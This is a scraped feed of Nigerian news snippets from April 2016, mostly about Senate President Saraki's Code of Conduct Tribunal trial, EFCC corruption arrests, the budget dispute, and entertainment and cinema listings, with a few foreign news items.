These are facts and readers can be rest assured that I will say nothing different to this if and when I am formally asked by anyone or any agency. When the EFCC begin to leak their falsehood and sallacious allegations to their agents in the media kindly take note of the fact that, as usual, they will be telling tall tales and they will be lying.

Now I challenge them to do their worse. I have no fear of them or of those who have sent them to do this dirty job. May God judge them all and may He reward them for their wickedness.

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One would think that the number one man in Nigerias legislature would be a respecter of the law, unfortunately this is not the case.

Sarakis disdain for the law was first made evident by his claim that his trial before the Code of Conduct Tribunal (CCT) is politically motivated and is being sponsored by powerful people.

Distinguished Senators, I believe you have all followed with keen interest, my trial at the Code of Conduct Tribunal, Saraki said on Tuesday, September 29, 2015 while addressing his colleagues.

I shall avoid discussing the details of that case here for obvious reasons. But let me say it again, that I am ready and will submit myself to the entire judicial process as provided by law.

Meanwhile, I wish to reiterate my remarks before the Tribunal, that I have no iota of doubt that I am on trial today because I am the president of the Nigerian Senate, against the wishes of some powerful individuals outside this Chambers, he added.

Despite his comments however, Saraki has not submitted himself to the entire judicial process, instead, he has spent the past seven months trying to escape being tried.

The Senate President had earlier gone to the Court of Appeal and the Supreme Court in a bid to avoid prosecution but both had insisted that the corruption trial must go on.

In defiance of the , which has the final say, Saraki once again attempted to stop his trial by filing a suit before Federal High Court judge, Justice Abdul Kafarati.

Kafarati initially withdrew from the case after he was accused of corruption but then ordered that Saraki must face his trial at the CCT after being convinced to rule on the matter by the Chief Judge of the court.

It appears to me all that the applicant is trying to do is to stop his criminal trial at CCT. The CCT is a competent court to try the criminal matters, the judge said on Friday, April 15, 2016.

This court cannot interfere with the case at the tribunal which has power to try cases. It is not appropriate for the applicant to approach this court. This case is hereby dismissed, he added.

After the commencement of his trial, Saraki again approached the Court of Appeal in Abuja to obtain a stay of proceedings, a move which prosecution counsel, Rotimi Jacobs described as illegal.

Nothing can be built on an illegal process. You cant build something on nothing. They will both crumble. This has become too much. My lord should refuse this application for adjournment, Jacobs said.

However, this has not done anything to deter Saraki as he is now claiming that CCT Chairman, Danladi Umar is biased and as such must withdraw from the trial.

An application to that effect led to a shouting match in the CCT on Thursday, April 21, after Sarakis lawyer, Raphael Oluyede insisted on presenting the motion despite being overruled by Umar.

Sarakis obvious disregard for the law has also encouraged his colleagues to follow in his footsteps as seen by the Senates recent summoning of Umar to appear before it to answer for charges of corruption levelled against him.

The Senate also decided, at a time when its leader is being prosecuted, to tamper with the CCT Act.

The legislators were however forced to back down from both illegal actions after being heavily criticized by Nigerians.

Its unfortunate that Saraki does not understand how important his response to this trial is to his image, and at this point his character and reputation have suffered a severe dent, at least in the eyes of responsible Nigerians.

The Senate President needs to remember that he is the frontman for the legislature and as such must show complete respect for the laws of the land.
The offer was made by US ambassador to the United Nations, Samantha Power on Thursday, April 21, 2016, The Cable reports.

Just last night when I was coming from the airport, I saw long lines at petrol stations here in Nigeria, and I really feel for the people of this country, who are going through this difficult economic time, she said.

And I think this is something [about which] the embassy has promised to offer whatever technical advice, counsel and technical assistance that we can offer. But we know that some of the best minds in Nigeria are thinking about that, including the ministers in this government, she added.

Power also said that the US government still considers the rescue of the abducted Chibok girls as a priority.

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Punch reports that Usman is being quizzed for allegedly receiving N2.5b from the Central Bank of Nigeria (CBN), to fund the 2015 presidential campaign of former President Goodluck Jonathan.

A source from the EFCC reportedly said the former minister was the one who disbursed all the funds used during GEJ's campaign.

According to reports, N2.5b, out of the N4b transferred to an account called Ministry of External Affairs Library, was allegedly paid into Usmans company account.

The former minister then disbursed the funds to different groups and individuals that were involved in the presidential campaign of former President Jonathan.

The Ministry of External Affairs Library account reports say, was created by the Office of the National Security Adviser (ONSA) to siphon funds for GEJs campaign.

An EFCC source who also spoke to Punch said A lot of people who received money during the campaign claimed to have received money from Nenadi Usman. Since she was in charge of funds, she will be able to list the names of those who collected money and if the money was approved by Jonathan.

There is no part of the constitution which gives the CBN the right to fund a political party. Usman must therefore tell us why the CBN gave her money.

Mr. Warimopei Dudafa, a Special Assistant on Domestic Affairs in the Goodluck Jonathan administration, was also arrested by the EFCC on Monday, April 18, 2016.

See Pulse Photo-News gallery below.
He said even though a lot has been achieved, a lot more needs to be done to fast track the development of the entire Federal Capital Territory as envisaged by its founding fathers.I assure you that this administration will continue to strive very hard to achieve all the goals set for us in all aspects so that we will continue to advance the society, the statement said.During the interactive session, the FCT Permanent Secretary, Dr. Babatope Ajakaiye stated that the FCT Administrations policy on poverty reduction and inclusive development is targeted at people in the rural communities.Leader of the NIPSS delegation, Professor Abu Galadima, advised the FCT Administration to send officials to the institute during the participants presentation of its study report.
Punch reports that men of the Prisons Service who were in the convoy of Ekpendu, on Wednesday, April 20, 2016, allegedly slapped Mrukpor.

Reports say the Prisons boss, sat in his car and watched as the female lawmaker was assaulted by his men.

According to Punch, a person could be jailed for six months or fined the sum of N400,000 for assaulting a lawmaker in the premises of the National Assembly.

The Minority Leader of the House, Mr. Leo Ogor while moving a motion to summon Ekpendu said The member was battered under the watch of the CG of Prisons. Her offence was that she overtook the convoy of the CG within the premises of the National Assembly.

The CG of Prisons is invited to explain why he should not be committed to prison in violation of Section 16 of the Legislative Houses, Powers and Privileges Act.

The Minister of Interior, Abdulrahman Danbazzau was also summoned in relation to this incident.

A good question to ask at this point, is how much has been collected from the various beatings the lawmakers have unleashed on themselves since this Democratic dispensation started?

See Pulse Photo-News gallery below.
On Wednesday, April 20, the Chief Magistrate, I. O. Agbesor, had remanded Ojukaye in prison for till Thursday when it ruled on the issue of jurisdiction.

Amachree, a chieftain of the All Progressives Congress, was arraigned by the Commissioner of Police in the state, Mr. Musa Kimo, for alleged murder of one Mr. Smart Soberekon in his (Amachree) local government.

At the resumed hearing on Thursday, Agbesor ruled that he does not have the the power to entertain the matter, noting that the charges against Amachree are capital offences.

The chief magistrate however stated that by the provisions of the Criminal Miscellaneous Procedure Law of Rivers State section 3 and 4, respectively, he is empowered to to remand an accused person pending the report of the Director of Public Prosecutions advice. (DPP).

Agbesor, thereby, ordered that the original case file be remitted to DPP as he sent Amachree back to jail till May 4.

Ordinarily, I would have considered the issues raised by the defence counsel, but based on legal position, Section 3 and 4 of Criminal Miscellaneous Procedure Law of Rivers State, the accused is hereby remanded in prison and the case file be sent to DPP.

The argument of the defence counsel lacks merit and legal content. So, the defence application is struck out. The original case file be deposited to the court registrar and be remitted to the DPP for advice, he ruled.
"The federation accounts receipts are among the lowest in recent memories. We are looking at 299 billion [naira] this month and that is because of the very low oil pricing," Adeosun told reporters.

In view of the global oil crisis, which has plunged the county into critical economic state, the Muhammadu Buhari-led administration has been prioritizing other areas of the economy, especially agriculture.
Mrs Usman was arrested by EFCC detectives on Thursday, April 21, 2016, according to Sahara Reporters.

She is reportedly being investigated over her alleged role in the withdrawal of billions of naira from the Central Bank of Nigeria (CBN).

The money was allegedly paid into the accounts of six chieftains of the Peoples Democratic Party (PDP) and the Goodluck Support Group (GSG).

We may relocate her to Abuja but for now, she has been detained in Lagos. She was said to have received the sum of N2.5 billion out of the over N4 billion which was transferred out of Central Bank of Nigeria into various individuals and companys accounts, also, the sum of N140 million cash was allegedly paid into her Zenith Bank Account in January 2015, a source said.

Some of these funds are said to have been traced to her personal account and her companys account which she used to acquire properties in Abuja, the source added.

Mrs. Usman was the Director of Finance of the Presidential Campaign Committee for the re-election of ex-President Goodluck Jonathan. At the prompting of the former President, N4billion was withdrawn from the CBN under the guise of security needs for disbursement to party chieftains, another source said.

The cash was transferred into the account of Joint Trust Dimension Nigeria Limited, a company traced to Mrs. Usman, where it was later shared by various individuals and organisations for purposes that are not stated. Nenadi, who made a statement to EFCC later, went abroad on an undisclosed mission, the source added.

The EFCC has also confirmed the arrest of a Permanent Secretary in the Ministry of Labour, Dr Clement Illoh after a sum of N316 million was found in his bank account.

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The Commandant-General of the Corps, Abdullahi Gana, made the call in a statement issued by Mr Emmanuel Okeh, the Public Relations Officer of the Corps made available in Abuja.

Gana said "Private Guards Company (PGC) is considered the third tier in the operations of security apparatus in the nation, not only for profit making ventures but complementing the regular security agencies.

"They have to be proactive in information and intelligence gathering in order to forestall acts that could constitute security threats to the nation.''

The commandant general added that in its efforts to strengthen the PGCs, the Corps, in collaboration with the Institute of Security Nigeria, recently organised a workshop for key personnel.

He noted that the Corps was also working with the National Security Adviser's Office to give special training to personnel of the PGCs in intelligence gathering and relevant security matters.

"This will upgrade their performance while discharging their duties,'' he added.
For today, April 22 2016:

THE GUARDIAN NEWSPAPER

Drama as Sarakis counsel dares CCT chairA timely intervention of the prosecution counsel, Rotimi Jacobs (SAN) yesterday prevented a mild drama at the ongoing trial of Senate President Bukola Saraki at the Code of Conduct Tribunal (CCT) from taking a turn for the worse and disrupting proceedings. READ MORE

Senate in stormy session, wants Buhari to sign budgetIn a stormy closed-door session yesterday, the Senate resolved to persuade President Muhammadu Buhari to sign the 2016 budget and later submit an amendment proposal to the National Assembly to correct identified lapses. READ MORE

Crude prices hit $46 a barrel record-year highCrude oil prices hit a year-record high of $46 a barrel yesterday, giving Nigeria a buffer of $8 over its $38 a barrel 2016 budget benchmark, a feat, which it has not attained since January. READ MORE____________________________________

THE NATION NEWSPAPER

Relief for states as Buhari suspends loans deductionWorkers who have gone on for many months without salaries got yesterday a piece of cheery news. READ MORE

Police arrest woman, 60, for buying five babies at N5mA 60-year-old woman, Asabi Adebayo, has been arrested by the police in Oyo State for allegedly buying five babies at N5million from Port-Harcourt, Rivers State. READ MORE

CCT throws out Sarakis motion querying Umars integrityLead prosecution lawyer Rotimi Jacobs (SAN), interjected and said the application had not received the approval of the lead defence lawyer, Kanu Agabi (SAN), who was absent at the proceedings. READ MORE______________________________________

VANGUARD NEWSPAPER

Some orphaned IDP kids dont know where they came from  BuhariABUJAPresident Muhammadu Buhari has described the number of Internally Displaced Persons, IDPs and Nigerian refugees as frightening. READ MORE

Workers salaries: FG rescues states, suspends April loan repayment deductionsABUJA  Respite has come the way of the 36 states as the Federal Government, Tuesday, suspended deductions periodically made from various loans given to the states to enable them pay workers salaries and stabilise their economies. READ MORE

$2.1bn cash: EFCC detains ex-Finance minister UsmanAbuja Former Finance Minister, Mrs Esther Nenadi Usman, was yesterday, taken into custody by operatives of the Economic and Financial Crimes Commission, EFCC, for allegedly receiving N2.5 billion of the N4 billion taken out of the Central Bank of Nigeria, CBN, on the orders of the former National Security Adviser, Sambo Dasuki, in the heat of the 2015 election. READ MORE______________________________________

BUSINESS DAY NEWSPAPER

Nigerias economy choking under pangs of politicsNigerias foreign exchange crisis and the insistence of President Muhammadu Buhari to conduct an inflexible exchange rate policy now better define the struggle for survival in Africas largest economy where economic activities have slowed considerably with resultant job losses as investors watch in despair. Nigeria failed to take advantage of the goodwill and momentum generated READ MORE

Poor innovation in packaging industry hurting FMCGsNigerias Fast-Moving Consumer Goods (FMCGs) are hard hit by low level of innovation in the local packaging industry, which hurts sales and profits. When I go to Nigerian supermarkets, I see a lot of evolutions. What I see in Nigeria is thicker packaging. People tend to think that the thicker it is the more sustainable READ MORE
Kanus comments were contained in a statement released by the groups spokespersons, Dr Clifford Iroanya and Emma Mmezu, according to Vanguard.

It reads:

I wish to commend and congratulate millions of IPOBians the world over, whose tenacity and exemplary steadfastness to the course is and will always remain a great source of joy and inspiration for me.

It is noteworthy and very commendable, that despite the spirited antics of our adversaries, the struggle has gathered the desired, awareness, momentum, sympathy and outright support, way beyond our expectations.

Your total commitment to the struggle and your determination and focus as a well-disciplined mass movement has gotten the attention of the world and frightened the enemy stiff.

As our journey to the promised land progresses beautifully, since we left Egypt, it is important to always remind ourselves that our progeny will forever remain grateful to us for our many sacrifices today.

We are almost there and as the oppressor panic, they unwittingly wobble from one blunder to another, time is running out and Pharaoh and his army clearly has no choice than to let my people go. I remain very proud of you all. Thank you.

Kanu is currently being detained at the Kuje Prison in Abuja on charges of treason.

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The President of the association, Mr Godwin Oyedokun, made the call in an interview with a correspondent of the News Agency of Nigeria (NAN) in Lagos.

"Relevant Nigerian agencies should begin to ask questions as to who, how, where and when with respect to Nigerian citizens named in the report.

Oyedokun argued that there was need for all incomes made by citizens to be subjected to taxation no matter the source of such incomes.

The association president said that Nigerians fingered in the scandal should be invited by relevant anti-corruption agencies to explain how they made the list.

"The provisions of our tax laws are clear that all incomes are to be subjected to taxation, no matter the source, even if such income is from prostitution.

Oyedokun said that the report revealed that 11milllion documents were leaked from one of the world's most secretive companies, a Panama law firm, known as Mossack Fonseca.

The documents showed how Mossack Fonseca had helped its clients to launder money, avoid tax and evade sanctions.

He argued that although the Nigerians named in the scandal had denied any wrong doing, government should look into the matter because of the anti-corruption stance of the present administration.
In addition to the false asset declaration charge which the Senate President is standing trial for, Punch reports that he will also be charged for:

1. Failing to declare his asset at 42, Remi Fani Kayode Street, Ikeja, Lagos state, to the Code of Conduct Bureau (CCB) on resumption of office as Kwara Governor in 2003.

2. Receiving salary as Governor of Kwara State after leaving office, from 2011  2015.

Both offences are said to be punishable under section 23(2) of the code of conduct bureau and tribunal act as incorporated under paragraph 18, Part I of the Fifth Schedule to the Constitution and section 6(a) of the Code of Conduct Bureau and Tribunal Act. CAP. C15, Laws of the Federation of Nigeria, 2004 and as incorporated under paragraph 2(a), Part I of the Fifth Schedule to the Constitution, respectively.

A mild drama happened on Thursday, April 21, 2016, at the trial of the Senate President, when Raphael Oluyede, one of the lawyers representing Saraki insisted on presenting a motion seeking the Code of Conduct Tribunal (CCT) chairmans withdrawal from the case.

TheCCTchairman, Justice Danladi Umar got furious and asked security officials to arrest Oluyede.

Justice Umar reportedly called Oluyede a Busybody lawyer.

See Pulse Photo-News gallery below.
Following the amendment, Saraki now faces two fresh charges, which includes the allegation that he continued to receive salary and emoluments as Governor of Kwara State after the expiration of his tenure and at the same time, from the Federal Government as a senator between June 2011 and October 2013.

The second fresh charge is that Saraki did not declare to the Code of Conduct Bureau on assumption of office as Governor of Kwara State in 2003, his leasehold interest in the property at 42, Remi Fani Kayode Street, Ikeja, Lagos.

According to report, the Senate President acquired the property in December 12, 1996 through his company, Skyview Properties Limited from First Finance trust Limited.

The offence is said to be contrary to section 6(a) of the Code of Conduct Bureau and Tribunal Act. CAP. C15, Laws of the Federation of Nigeria, 2004 and as incorporated under paragraph 2(a), Part I of the Fifth Schedule to the Constitution.

It is said to be punishable under section 23(2) of the code of conduct bureau and tribunal act as incorporated under paragraph 18, Part I of the Fifth Schedule to the Constitution.

The original 13-count charge against him includes false asset declaration and maintaining of offshore account while serving as Governor of Kwara State between 2003 and 2011.

It was also gathered that the Federal Government might further amend the charges before they will be read to Saraki.
"Bukas and Joints" is hosted by media personality Olisa Adibua, and features him traveling around Nigeria in search of the most authentic Bukas and Joints.

ALSO READ: undefined

In an upcoming episode, Olisa heads back to Lagos Island in search of the best Bukas in the historic area.

According to the producers, the show is aimed at capturing the very essence of the universal language of food, kicking off with one of Nigeria's largest cities, Lagos.

The 13-episode series, with each episode running for half an hour, is set to take viewers on several interesting and mouth-watering food adventure across 50 eateries in the first season of the show.
Produced by Judith Audu-Foght and directed by Uduak-Obong Patrick, the movie was edited by Asurf Oluseyi.

The movie "Just Not Married" was shot on location in Lagos last year and comes after the production of the award winning short film "Not Right", which was a commentary on domestic violence.

ALSO READ: undefined

" is written by Lani Aisida and has Fayo Segun Festus as Director of Photography. It features Stan Nze, Rotimi Salami, Ijeoma Agu, Obutu Roland, Brutus Richard, Gregory Ojefua, Judith Audu, Perpetua Adefemi, with special appearances by Adeniyi Johnson, Sambasa Nzeribe, Morten Foght, Bucci Franklin, Eric Nwanso, L.A.S.E, Seun Afolabi, 16Oniru among others.

RELATED :

"Two brothers are on opposite paths. Victor is a recent ex-con who is trying to piece his life together while Duke is a brilliant undergraduate determined to see his mum live.Duke enlist the help of his two friends in stealing cars by decorating the cars and pretending to be married.Despite some unforeseen hiccups, their operation was pretty successful until people got greedy and violent."
ALSO READ: undefined

Here we go;

1. He began his professional acting career in 1963 with the Duro Ladipo Theatre Group.

2. Hs greatest career wish is to establish a standard film village in Osun State that will be used by practitioners within and outside the state.

3. He dedicated his 2015 movie "Agbabiaka" to the former Governor of Lagos State, Babatunde Raji Fashola.

4. The filmmaker shot to limelight in 1993 after he starred as "Baba Wande" in the movie titled "Ti Oluwa Ni Ile."

ALSO READ: undefined

5. In 2013, the Osun House of Assembly held a special session for the veteran, who clocked 50 years on stage.

6. He reads his Quaran to unwind.

7. The actor is happily married to two wives, and has many children.

8. In a 2016 interview, the actor revealed that if he were better educated, he would "have been a television director or manager."
Forbes Africa is launching its first ever TV platform with flagship show My Worst Day, anchored by award winning Forbes Africa and Forbes Woman correspondent, Peace Hyde.

ALSO READ:

The show brings the unique Forbes journalistic style and glitz to the silver screen and focuses on the most challenging day in the lives of some of the most successful and enterprising business leaders of our time. "My Worst Day" features Africas business powerhouses in a way never seen before.

ALSO READ: undefined

The show will air on the CNBC Africa platform which provides a unique blend of International and African business and economic content.

Forbes Africa publication is the sixteenth local-language edition of the Forbes magazinerenowned for exploiting various matters, as well as its many lists based on the levels of global wealth and power, offering topics such as The Worlds Most Powerful People, Global High Performers, and The Worlds Billionaires.

The Pan African show is set to have its global release across the continent on May 4, 2016.
The actor will star in the movie alongside undefined as Peter Parker, and undefined the adoptive mother of Peter Parker.

Before that, Spider-Man and Iron Man will share a screen in the Marvel Cinematic Universe in Marvels Captain America: Civil War, which debuts in theaters on May 6.

To be directed by Jon Watts, the next Spider-Man film debuts in theaters in IMAX and 3D on July 28, 2017. Sony Pictures will finance and release the next installment of the $4 billion Spider-Man franchise on July 28, 2017.Spider-Man is currently the most successful franchise in the history of Sony Pictures.
What better way to ease off the stress of the week than watch a good movie.

With that in mind, check out our list of movies currently showing in cinemas across Lagos, Abuja and Port Harcourt.

Starring: Chris Hemsworth, Jessica Chastain, Charlize Theron

Synopsis: As a war between rival queen sisters Ravenna and Freya escalates, Eric and fellow warrior Sara, members of the Huntsmen army raised to protect Freya, try to conceal their forbidden love as they combat Ravenna's wicked intentions.

Showing:

Friday - Thursday: 11:35am, 1:45pm, 3:00pm, 4:00pm, 6:10pm, 7:00pm, 8:20pm

Friday - Thursday: 12:45PM, 4:55PM, 9:05PM

Fri & Sat: 2:00 pm, 4:25 pm, 6:50 pm, 7:15 pm, 9:15 pm

Sun - Thu: 2:00 pm, 4:25 pm, 6:50 pm, 7:15 pm, 9:15 pm, 9:40 pm

Friday - Thursday: 12:40PM, 2:50PM, 5:00PM, 7:10PM, 9:20PM

Starring: Nia Vardalos, John Corbett, Michael Constantine

Synopsis: Portokalos family secret brings the beloved characters back together for an even bigger and Greeker wedding.

Showing:

Friday - Thursday: 11:00AM

Friday - Thursday: 8:10PM

Starring: Helen Mirren, Aaron Paul, Alan Rickman

Synopsis: Col. Katherine Powell, a military officer in command of an operation to capture terrorists in Kenya, sees her mission escalate when a girl enters the kill zone triggering an international dispute over the implications of modern warfare.

Showing:

Friday - Thursday: 10:30AM, 4:55PM

Friday - Thursday: 4:10pm, 6:20pm

Friday - Thursday: 2:45 pm, 9:15 pm

Friday - Thursday: 12:20PM, 2:30PM, 4:30PM, 9:10PM

Starring: Ben Affleck, Henry Cavill, Amy Adams, Gal Gaddot.

Synopsis: Fearing the actions of Superman are left unchecked, Batman takes on the man of steel, while the world wrestles with what kind of a hero it really needs. With Batman and Superman fighting each other, a new threat, Doomsday, is created by Lex Luthor. It's up to Superman and Batman to set aside their differences along with Wonder Woman to stop Lex Luthor and Doomsday from destroying Metropolis.

Showing:

Friday - Thursday: 12:55PM, 8:50PM

Friday - Thursday: 12:15pm, 8:25pm

Fri & Sat: 1:15 pm, 4:15 pm, 9:40 pm

Sun - Thu: 1:15 pm, 4:15 pm, 5:15 pm

Friday - Thursday: 12:10PM, 3:00PM, 5:50PM, 8:40PM

Genre: Drama, Biopic

Starring: Stephan James, Jason Sudeikis, Eli Goree

Synopsis: Jesse Owens' quest to become the greatest track and field athlete in history thrusts him onto the world stage of the 1936 Olympics, where he faces off against Adolf Hitler's vision of Aryan supremacy.

Showing:

Friday - Thursday: 12:30PM, 4:50PM, 9:10PM

Fri-Thur: 4:15pm, 6:25pm, 9:05pm

Fri & Mon - Thu: 4:15 pm, 9:05 pm

Sat & Sun: 4:15 pm, 9:05 pm

Starring: Neel Sethi, Bill Murray, Ben Kingsley

Synopsis: The man-cub Mowgli flees the jungle after a threat from the tiger Shere Khan. Guided by Bagheera the panther and the bear Baloo, Mowgli embarks on a journey of self-discovery, though he also meets creatures who don't have his best interests at heart.

Showing:

Friday - Thursday: 12:40PM, 3:50PM

Friday - Thursday: 11:40AM, 1:40PM, 6:00PM

Fri-Thur: 10:05am, 2:15pm, 4:20pm

Fri-Thur: 12:05pm[3D], 2:05pm[3D]

Friday - Thursday: 11:00 am, 1:15 pm, 3:30 pm

Starring: Keenan Kampa, Nicholas Galitzine, Jane Seymour

Synopsis: When a hip hop violinist busking in the New York subway encounters a classical dancer on scholarship at the Manhattan Conservatory of the Arts, sparks fly. With the help of a hip hop dance crew they must find a common ground while preparing for a competition that could change their lives forever.

Showing:

Tues-Thur: 10:25am, 1:20pm, 3:15pm, 5:10pm

Friday - Thursday: 2:10 pm, 7:00 pm

Starring: Gerard Butler, Aaron Eckhart, Morgan Freeman

Synopsis: In London for the Prime Minister's funeral, Mike Banning discovers a plot to assassinate all the attending world leaders.

Friday - Thursday: 5:10pm, 7:05pm

Friday - Thursday: 10:15 pm

Saturday - Thursday: 7:20PM, 9:10PM

Saturday - Thursday: 3:10PM, 7:20PM, 9:20PM

Genre: Animation

Starring:Ginnifer Goodwin, Jason Bateman, Idris Elba

Synopsis: TIn a city of anthropomorphic animals, a fugitive con artist fox and a rookie bunny cop must work together to uncover a conspiracy.

Showing:

Friday - Thursday: 11:20am

Genre: Animation, Action, Adventure

Starring: Jack Black, Bryan Cranston, Dustin Hoffman

Synopsis: Continuing his "legendary adventures of awesomeness", Po must face two hugely epic, but different threats: one supernatural and the other a little closer to his home.

Showing:

Friday - Thursday: 11:10 am

Friday - Thursday: 10:20am

Friday - Thursday: 10:45AM

Friday - Thursday: 12:30PM, 2:20PM, 4:10PM

Genre: Romance

Starring: Shailene Woodley, Theo James, Zoe Kravitz

Synopsis: After the earth-shattering revelations of Insurgent, Tris must escape with Four beyond the wall that encircles Chicago to finally discover the shocking truth of what lies behind it.

Showing:

Friday - Thursday: 2:35PM

Genre: Romance

Starring: Uche Jombo, Chioma Akpotha, Ufuoma McDermott, Kehinde Bankole, Kalu Ikeagwu, Julius Agwu, Kenneth Okonkwo.

Synopsis: The movie is a hilarious comedy about a group of market women who decided to take matters into their own hands against their husbands in a bid to stir them into standing up for a young girl whom they wanted to protect from the wishes of her own father. The women, who hilariously interpret their roles, set a series of events in motion to give the movie many moments of laughter without missing a beat on the reason for everyone to know why they are on strike.

Showing:

Friday - Thursday: 12:40 pm, 5:00 pm, 7:05 pm

Friday - Thursday: 10:40AM, 3:00PM, 7:20PM

Sunday: 3:00PM, 7:20PM

Friday - Thursday: 6:45pm, 8:40pm

Friday - Thursday: 12:20PM, 4:50PM, 6:40PM, 8:30PM

Genre:

Starring:Brenton Thwaites, Nikolaj Coster-Waldau, Gerard Butler

Synopsis: Mortal hero Bek teams with the god Horus in an alliance against Set, the merciless god of darkness who has usurped Egypt's throne, plunging the once peaceful and prosperous empire into chaos and conflict.

Showing:

Friday - Thursday: 4:55PM, 9:10PM

Friday - Thursday: 4:50PM, 6:30PM,9:25PM

Genre:

Starring:Jennifer Garner, Kylie Rogers, Martin Henderson

Synopsis: A young girl suffering from a rare digestive disorder finds herself miraculously cured after surviving a terrible accident.

Showing:

Friday - Thursday: 2:45PM

Starring:Emma Watson, Daniel Bruhl, Michael Nyqvist

Synopsis: A young woman's desperate search for her abducted boyfriend that draws her into the infamous Colonia Dignidad, a sect nobody ever escaped from.

Showing:

Friday - Thursday: 12:10pm, 9:10pm

Friday - Thursday: 12:30PM, 7:00PM

Friday - Thursday: 11:50 am

Friday - Thursday: 12:30PM, 2:40PM, 7:20PM

Starring:Shah Rukh Khan, Joelle Koissi, Mariola Jaworska

Synopsis: Gaurav, a huge fan of movie star Aryan Khanna, heads to Mumbai in order to wish his God a happy birthday. When things don't go according to plan, Gaurav's obsession with Aryan crosses the line

Showing:

Friday - Sunday: 6:55PM

Sat & Sun: 2:25 pm

Friday - Sunday: 2:10PM

Starring:Seun Akindele, Beverly Naya, Iretiola Doyle

Synopsis: The movie, Fusion, tells the story of newlyweds experience as they negotiate the dynamic curves thrown at them by the experience called marriage.

Showing:

Friday - Thursday: 10:50AM, 3:00PM, 7:10PM

Sunday: 3:05PM, 7:10PM

Friday - Thursday: 1:00PM, 5:10PM
Speaking on the issue, the Chairman, House Committee on Media and Public Affairs, Mr. Abdulrazak Namdas, said Recall that we in the House, mandated our speaker to meet with Mr. President on the grey areas in the budget.

The speaker reported back to us and the Presidency wrote us, identifying the grey areas to be worked on in the budget.

Following this, the leaders of both chambers also met and agreed after discussions, to meet with Mr. President, hopefully, this week to conclude the deliberations.

Punch reports that a source in the legislature, hinted that the meeting will today, Friday, April 22. 2016.

The source said The meeting will be held on Friday; the point is that efforts are on by the executive and the National Assembly to resolve the budget dispute once and for all.

Mr. President is expected to be at the meeting with his economic team so that all sides will be on the same page.

President Buhari has however returned the 2016 budget to the National Assembly.citing some grey areas in the document.

See Pulse Photo-News gallery below.
My brother and friend Sen. Bukola Saraki, if you have 1 trillion supporters I'm one, if you have one billion I'm one, if you have one million I'm one, if you have one thousand I'm one if you have ten I'm one, if you have only one supporter I'm one and if you have no single supporter it means I'm dead. No shaking. Four years tooo sure.
The president of the Joint National Association of Persons With Disabilities (JONAPWD), Ekaete Umoh, confirmed this recently.

Umoh also said research has shown that children with disabilities constitute more than 50 percent of the over 10million out of school children despite the provision of the universal Basic Education Act of 2004 that basic education is free and compulsory for all children.

She also added that even if all primary and secondary schools were adequate for all school age children in Nigeria, children with disabilities would still remain out of school because virtually all primary and secondary schools in Nigeria are designed, built and managed in ways that are totally not inclusive of and not accessible to children with disabilities.

The president noted that while there are special schools, JONAPWD does not want special schools but rather inclusive education where children, despite their disabilities are able to relate and interact with their peers, We do not want institutionalisation," she said.
This is contained in a statement issued on Friday in Abuja by Mr Yakubu Musa, Special Assistant Media to the Executive Vice Chairman, NCC.

The statement quoted Danbatta as saying that the call was necessary in view of the fact that Nigeria was currently at the bottom 10 of the world in terms of infrastructure development.

The NCC boss observed that deployment of telecommunications infrastructure, especially the broadband was the catalyst the nation needed for its quest for socio-economic development.

Danbatta, however, assured that the NCC has the capacity to monitor the companies to ensure that there was no breach, if the government eventually yielded to the appeal.

In the same vein, Danbatta noted that his 8-Point Agenda were there to complement the three main agenda of President Muhammadu Buharis administration, which were aimed at building robust infrastructure for nations growth.

The NCC boss told the gathering that the commission would not rest on its oars as it was doing everything possible to provide telephony services to the approximately 36.8 million people identified as unserved and underserved in the clusters.

He noted that the unserved population in Nigeria has been reduced from 36.8 million (34.5%) in 2013 to 33.7 million (22.5%) in 2015 based on the Access Gap Study and using the 150 million population benchmark.

"Our job today, is to amplify the cohesion and collaboration required for our interventions to be notable in the quest to achieve universal access in Nigeria.

"We are desirous of seamless collaboration with all partners to build a sustainable universal access and universal service infrastructure.
The video is reported to have been taken in in Chittorgarh, a city in Rajasthan, northern India, a state in the country that is prevalent for child marriages, Daily Mail reports.

In one heartbreaking clip, a little girl of about 10 years is seen crying and pleading for help as her father drags her around during the customary wedding ceremony.

Another clip shows a Hindu priest conducting marriage rites as he scolds the young groom and bride for crying.

A child bride as young as five is seen in the footage dressed and forced to walk around the fire with her child groom, 11 years old. She cries out loudly but is still forced to complete the marriage rites by walking around the fire seven times.

Identities of the older men conducting the marriage rites are yet to be identified by police, according to reports by Daily Mail. Most of the culprits have reportedly gone into hiding.

Speaking on the footage, Indian child rights activist Kriti Bharti blamed the police for not acting fast enough while consoling the victims.

"My heart goes out to these little children trapped in this tragedy. The police should have acted immediately as the video clearly shows a priest was involved. Action should not only be taken against the families but each adult involved in the ceremony including the decorators, caterers, attendees and relatives", said the 28-yr-old founder of Saarthi Trust, a charity for the welfare for child brides and other vulnerable children.

The child rights activist has so far annulled 29 child marriages and stopped 850 child marriages.

"Our society will never improve and this cruel concept will keep continuing if strict action is not taken against these people.

"The Child Welfare Committee now needs to intervene and these victims should be taken into protective custody. Once they have protection, we will try reaching out to them and counsel them for a better life ahead of them.

"The families in these cases need equal amount of counseling as they are under a lot of societal pressures," she added.

In India, the legal age for marriage is 18 for females and 21 for males but in a latest report by UNICEF, India is home to one-third of the world's total child brides.
However, the European Commission lifted its warning against Sri Lanka after it strengthened sanctions against illegal fishing, improved control of its fleets and changed its legal framework.

"Sri Lanka has now a robust legal and policy framework to fight illegal fishing activities," said Karmenu Vella, EU Fisheries Commissioner.

Since 2010, the EU - the world's biggest fish importer - has acted against countries that do not follow international standards to prevent over-fishing, such as policing their waters for unlicensed fishing vessels and imposing penalties.

The EU also said it still had serious concerns about Thailand's efforts to address illegal fishing.

"This means that further action by the Commission cannot be ruled out. A meeting with the Thai authorities in May will be a new opportunity for them to show their good will and commitment," the Commission said in a statement.

Sierra Leone, Kiribati and Trinidad and Tobago have six months to implement measures suggested by the Commission. Failing that, the 28-member bloc could impose an embargo on fish imports.

Sierra Leone's sanctions system fails to deter illegal operators fishing internationally under its flag. Trinidad and Tobago also has a large fleet operating internationally where authorities do not control or inspect foreign vessels, the Commission said.
The Hong Kong-based Information Centre for Human Rights and Democracy said earlier this week that China had sent 2,000 troops to the border, a story picked up by Russian and Iranian news outlets, among others.

The decision was made ahead of the expected testing of North Korea's fifth nuclear device, the report said, in violation of U.N. sanctions.

"The relevant report does not accord with the facts," the Defence Ministry said in a short statement. "The Chinese military maintains normal combat readiness and training on the China-North Korea border."

It did not elaborate.

